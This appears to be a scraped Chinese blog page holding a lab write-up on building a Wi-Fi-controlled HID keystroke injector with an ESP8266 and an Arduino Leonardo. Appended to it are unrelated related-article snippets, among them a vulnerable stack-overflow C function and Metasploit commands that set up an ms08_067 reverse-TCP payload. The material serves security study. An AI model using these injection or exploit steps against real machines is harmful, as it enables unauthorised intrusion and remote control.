基于Wi-Fi的HID注射器,利用WHID攻击实验

WHID代表基于 Wi-Fi 的 HID 注射器,即对 HID 攻击进行无线化攻击的一种注入工具。

实验攻击原理如下图:

攻击者使用ESP8266作为AP,在自己的电脑创建客户端连接AP。在客户端键入命令发送到ESP8266,它再利用串口转发给Arduino Leonardo。利用Arduino中的Keyboard库就可以使用传输的命令控制目标主机的键盘。

前期准备

1. 硬件设备

Arduino Leonardo

ESP8266 Wi-Fi模块

FT282串口调试模块

2. 软件环境

sockettool

Arduino IDE

串口调试助手

TCP调试助手

实验步骤

1.ESP8266设置

使用串口连接ESP8266,依次键入命令:

AT+CWMODE=3 //设置模式为AP兼Station模式;

AT+RST //模式改变需重启后生效;

AT+CWSAP=”name”,”password”,11,2 //创建一个名为name,密码为password的AP节点;

AT+UART=9600,8,1,0,0 //设置波特率为9600,Arduino和ESP8266波特率需相同;

AT+CIPSERVER=1,8089 //将esp8266设置为server模式,这样才能够在下面被访问;

2. 代码烧录

将写好的代码烧录进Arduino Leonardo,这里选择了主要部分说明:

在loop中循环读取ESP8266向串口发送的数据,判断收到数据时过滤并利用Keyboard库打印在Arduino接入的电脑上。

3. 硬件接线

设置好ESP8266和Arduino之后就可以进行硬件接线了,接线原理图如下:

实际接线图如下:

4. 客户端操作

①连接到之前创建的网络name。

②打开sockettool.exe,点击左侧 “TCP Client” 后点击“创建”来创建客户端:

③ 输入IP:“192.168.4.1”,端口号:“8089”:

④ 点击“连接”,如果连接成功可以看到“已连接”字样:

实验演示

确保在已连接状态下,发送两次“123”:

可以在目标主机看到键入的结果:

实验总结

这里实现的功能只是简单地将输入的字符显示在目标机器上,危害性并不强。但是如果结合之前做过的BadUSB实验(http://www.freebuf.com/news/141833.html?preview=true),则可以远程执行命令,例如通过PowerShell远程下载文件等等,这将会对目标主机造成难以预料的影响。

因为是研究性质所以没有继续深入挖掘WHID的应用,而且也意识到使用Wi-Fi有一定的局限性,可以设想采用蓝牙或2.4G传输的方式提高传输的稳定性或是传输距离等,相信对HID的攻击绝不止于此。

和BadUSB类似,WHID可以模仿键盘、鼠标操作,所以常规的安全软件、杀毒软件不能起作用。显然不让任何不受信任的硬件连接自己的电脑是最安全的选择。

时间: 2024-10-19 17:09:10

基于Wi-Fi的HID注射器,利用WHID攻击实验的相关文章

利用WHID为隔离主机建立隐秘通道

0 引言 从2014年BADUSB出现以后,USB-HID攻击就这一直被关注,且具争议.争议的焦点是USB-HID的实战效果过于"鸡肋",无论从早期的BADUSB,还是到后来的各种USB-HID设备,对于目标机来说,都要通过弹出"运行框"来实现payload的植入,由于弹框过于明显,所以实战中效果就大打折扣.于是,围绕着如何提升实战效果,很多人提出了不同的想法,我也做过多次尝试,比如通过改善payload的存储位置,通过加入BLE模块等方法,目的只有两个,一是尽可能

基于《仙剑奇侠传柔情版》利用Java的简单实现(一)

基于<仙剑奇侠传柔情版>利用Java的简单实现(一) 2018-12-01 23:55:36   by Louis  一,新建一个类GameFrame.class,具体代码如下: package firstDemo; import javax.swing.JFrame; /** * 本类文件表示游戏案例的窗口类,也就是运行之后会呈现出一个游戏窗口 * 窗口大小1024*768像素:屏幕中间出现 * * @author Louis */ public class GameFrame { //主方

基于“MVC”框架集设计模式,利用 DBHelper实现查询数据库功能

利用 DBHelper实现查询数据库功能 (1)连接好mysql数据库,如果无法连接,先打开mysql服务.新建一个数据库,名字为text,在新建一个数据表,名字为user,添加三个字段:用户ID.用户名和密码. (2)新建 web 项目UserManager,根据MVC模型的设计,建立四个包:beans.DAO.DBHelper.servlet.将所需要的DBHelper导入新建Web项目的DBHelper中,注意要使数据库名字保持一致.将mysql-connector-java-5.1.24

基于msfconsole下利用ms17_010漏洞实验

1.理论 在MSF里面msfconsole可以说是最流行的一个接口程序.但是msfconsole真的是一个强大的接口程序.Msfconsole提供了一个一体化的集中控制台.通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等.Msfconsole还有第三方程序的接口,比如nmap,sqlmap等,可以直接在msfconsole里面使用. 2.操作 在msfconsole下查找ms17_010 利用该漏洞的poc进行exploit

基于24位AD转换模块HX711的重量称量实验(已补充皮重存储,线性温度漂移修正)

转载:http://www.geek-workshop.com/thread-2315-1-1.html 以前在X宝上买过一个称重放大器,180+大洋.原理基本上就是把桥式拉力传感器输出的mV级信号放大到5V供单片机读取.连接实验电路的时候很完美,能实现重量的转换,但是实际组装后却发现这种A/A模块受到的干扰太严重了,包括电源的干扰,导线长短的干扰,导线位置变化的干扰,无线电的干扰等等等等……实在是恼人. 后来感觉是思路错误了,就不该用模拟信号来传输,于是决定使用A/D模块来把重量转换成数字信号

基于SMB文件共享传播的新型蠕虫病毒攻击的紧急防范

2017年5月12日起,在国内外网络中发现爆发基于Windows网络共享协议进行攻击传播的蠕虫恶意代码,这是通过改造之前泄露的NSA黑客武器库中"永恒之蓝"攻击程序发起的网络攻击事件. 目前发现的蠕虫会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,就会被在电脑和服务器中植入执行勒索程序.远程控制木马.虚拟货币挖矿机等恶意程序. 企业内网.IDC.教育网络等所有开放445 SMB服务端口且没有及时安装安全补丁的客户端和服务器系统都将面临此威胁.企业内网将

栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(七)利用寄存器攻击

在(六)中我们提到了使用固定栈地址的攻击方式,但在实际中,系统默认的参数不会为0 cat /proc/sys/kernel/randomize_va_space 那么在系列中的六失去攻击的意义,但是任何事情都会有漏洞,我们来讲另一个基于寄存器的攻击 漏洞代码 vulnerableret2reg.c #include <stdio.h> #include <string.h> void evilfunction(char* input) { char buffer[1000]; st

基于NFS实现lamp的负载均衡之一: 实验拓扑

实验目的: 部署discuz论坛,使用dns做轮询,实现httpd的负载均衡及高可用,访问论坛使用的主机名为www.aaa.com 拓扑: 两台服务器部署httpd+php(module模式),系统为Centos 6.8 192.168.1.102 192.168.1.103 一台服务器部署mariadb,系统为Centos7.2 192.168.1.200 一台服务器部署nfs,存放网站目录,实现两台httpd数据同步,系统为Centos 7.2 192.168.1.202 一台服务器部署bi

利用metasploit攻击有ms8067漏洞的PC机过程

拓扑环境:2台虚拟机,一台Kali,另一台有ms08067漏洞的XP或2000或2003机器 msfconsole进入msf控制台 输入search ms0-067 找到相应模块 use exploit/windows/smb/ms08_067_netapi  使用相应模块 set PAYLOAD windows/meterpreter/reverse_tcp 设置反弹连接 show options 查看设置选项 set RHOST 192.168.80.XX 设置远程主机 set LHOST